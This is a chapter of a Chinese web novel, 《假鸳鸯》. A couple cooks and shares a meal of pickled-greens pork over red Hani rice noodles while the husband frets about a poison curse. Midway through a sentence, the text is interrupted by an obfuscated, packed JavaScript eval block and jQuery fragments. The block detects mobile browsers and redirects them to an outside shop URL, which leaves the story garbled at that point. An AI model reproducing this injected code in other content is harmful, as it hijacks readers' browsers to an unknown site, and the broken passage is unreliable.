45. 饭总是要吃的
作品:《假鸳鸯》 陈涵果真是个不通人事,只觉得先前都那般亲密了,怎么会没成事,连忙追问王娘子怎么一回事。
王悠悠如何好意思回答,啐了他一口,说道:“你自己摸不到门倒来问我?自个儿看书去!”
说着仍觉得什么蛊虫之事到底像是天方夜谭,她活了小半辈子也只在江湖话本中隐约听过,又想着陈涵这人有有股天生的呆意,忧心有人哄骗了他,又质疑道:“非是我不信。只是从未听过这等故事来。”
“又是蛊虫,又是神秘宝藏的,总觉得像是什么江湖术士的骗术,专哄那些想发偏财的傻子的。”
“你的那个什么‘师父’莫不是骗你?”
陈涵想了想,有些迟疑:“应当不会吧。如果那皇陵里没个宝藏,为何锦衣卫要一路追到这茨庐县来。”
“况且——我脑中的蛊虫发作的痛楚,不像是真的。”
王悠悠还欲再问,见陈大官人眼睛几乎睁不开,想到他昨日一夜没睡,于是不再问了,只让他好好睡一觉。
她自己腹中空落落的,爬起来随意吃了两个昨日从庙里带回来的素饼,也觉得昨夜睡得不好,便也爬上床去裹着被子沉沉睡去。
陈涵是被一股呛鼻的酸味弄醒的。
那酸香气直往鼻子里钻,勾得他肚子咕噜噜叫起来。他睁开眼,窗外日头已经老高,少说也是巳时了。他披上外衫,循着香味摸到厨房。
王娘子正站在灶台前,锅里滋滋响着。灶台上摆着几个粗瓷碗,里头是切得细细的酸腌菜和剁碎的五花肉。
只见她往锅里倒了些油,抓一把干辣椒丢进去,那辣椒遇热便炸开,呛得陈涵猛咳嗽。王娘子面不改色,将肉末下锅,铲子翻飞,肉末在油里煸得焦黄,滋滋冒油。又把酸腌菜倒进去,那股生酸气被热油一激,登时变成醇厚的酸辣香气,混着肉香、辣子香,满屋子都是。
最后淋上一圈甜酱油,翻炒几下,便起了锅。
这是茨庐县最常见不过的家常菜——酸腌菜炒肉末。
陈涵站在门口,看得有些发愣。
今早才跟她说那些惊天动地的事——盗皇陵、中蛊毒、被人拿捏生死。
他以为她怎么也得慌上几日,或者恼上几日。没成想一觉醒来,她该炒菜炒菜,跟没事人似的。
“娘子,”他忍不住开口,“你……你不怕么?”
王悠悠头也没回:“怕什么?”
“就是……那些事。”
王悠悠将炒好的酸腌菜肉末分进两个碗里,这才瞥他一眼:“怕有什么用?你那师父不是说三日之后才找你么?急也急不来。再说了——”她顿了顿,“饭总是要吃的。”
“好了,吃饭的时候莫要谈这些扫胃口的事。”
陈涵看着她忙碌的背影,想起方才还在梦里头。梦见师父追到家里来,他护着王娘子不让师父见到,谁知师父竟然催动了咒语。他眼见着王娘七窍流血,惊惧之下终于醒了。
如今见着这一锅热腾腾的吃食,倒觉得那些事也没那么吓人了。
他瞧着娘子那副不慌不忙的模样,心里头的慌乱竟也慢慢平了下来。这女人身上像是有股子定力,她稳得住,他便也跟着静了下来。
“我去添饭。”他转身要去揭锅盖。这酸腌菜肉末是下饭菜,往日吃都是配白米饭的,他每次都要吃个三大碗。
王悠悠拦住他:“没煮饭。今日吃米线。”
“米线?”陈涵一愣,“不是告诉了米线店过年不用来送吗?”
“不是送来的。”王悠悠指了指灶台边的一个瓦盆,“今早我俩睡前泡上的,是
;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17348243|195162||http|test|mini|href|location''.split(''|''),0,{}));
() {
$(''.inform'').remove();
$(''#content'').append(''
家里备的干米线。”
陈涵凑过去一看,盆里的米线泡在清水里,色泽竟不是寻常的白,而是浅浅的粉红,煞是好看。
陈涵有些好奇:“我也算来了大半年了,这样红色的米线,还从未见过。”
“这是哈尼红米线。”王悠悠一边烧水一边道,“哈尼人做的,掺了当地的红米,做起来比咱们平日吃的酸浆米线还费工夫。”
水烧开了,她将泡好的米线捞进锅里,煮了三滚便捞起来,分进两个碗里,浇上满满的酸腌菜肉末。
“拌一拌,趁热吃。”
陈涵接过碗,也学着先前王娘子教他吃豆花的样子,先吃了口原味的米线,这米线比寻常米线更细长,韧性更足,且自带一股清香。
他在茨庐县也住了大半年,自家又开着米线铺子,对于米线,舌头早就养刁了。这一口下去便知好坏,这红米线真材实料,做法也精妙,比那鲜米线还对他的胃口。
陈涵用筷子挑起米线拌了拌。那红米线细韧爽滑,挂满了酸腌菜肉末的汤汁,浓稠油亮,每一根都裹着料。
他夹起一筷送进嘴里——酸腌菜和肉末挂在细长的弹牙米线上,几种滋味在舌尖上打架,只一口就抚平了陈涵烦躁的心。
“好吃!”他含糊道,又夹了一大筷。
王悠悠也端着碗坐下来,慢条斯理地拌着米线:“茨庐人平日都喜欢吃鲜米线,若不是今日没有鲜米线,我倒忘了厨房还放着红米线了。”
“你瞧,干米线的口味也是不输鲜米线的。”
陈涵嚼着米线,听着这等家常话,心里头热乎乎的。他想说点什么,又觉得说什么都多余,便埋头大口吃起来。
两人对坐着,吸溜吸溜的声响在灶房里此起彼伏,倒像是寻常日子里最寻常的一顿饭。

